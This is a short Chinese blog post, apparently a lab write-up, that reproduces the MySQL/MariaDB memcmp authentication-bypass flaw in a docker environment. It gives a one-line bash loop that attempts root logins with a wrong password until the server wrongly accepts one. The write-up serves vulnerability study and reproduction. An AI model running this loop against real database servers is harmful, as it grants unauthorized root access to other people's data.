一、漏洞简介:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。 我们可以使用Meterpreter中的模块或者使用特殊的SQL语句进行身份绕过登录,出现这个漏洞是由于memcmp函数只返回返回-128到127范围内的值,在某些平台上进行了优化,导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。
二、复现环境:
ubuntu服务器,kali攻击机
三、漏洞复现:
1、docker-compose up -d
docker启动环境
![](https://i-blog.csdnimg.cn/blog_migrate/a1ceefe8bb5e25059b18eebc2548dc74.png)
2、访问3306端口查看环境
![](https://i-blog.csdnimg.cn/blog_migrate/ef5c26cbacf671677835693ccc8b1e10.png)
3、使用kali攻击机输入命令进行攻击
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
![](https://i-blog.csdnimg.cn/blog_migrate/55c5233e85333faf6bd9f71200262f45.png)
爆破多次即绕过身份验证,成功登录数据库,复现成功
![](https://i-blog.csdnimg.cn/blog_migrate/96012cd65a10a00ae6e47373962af380.png)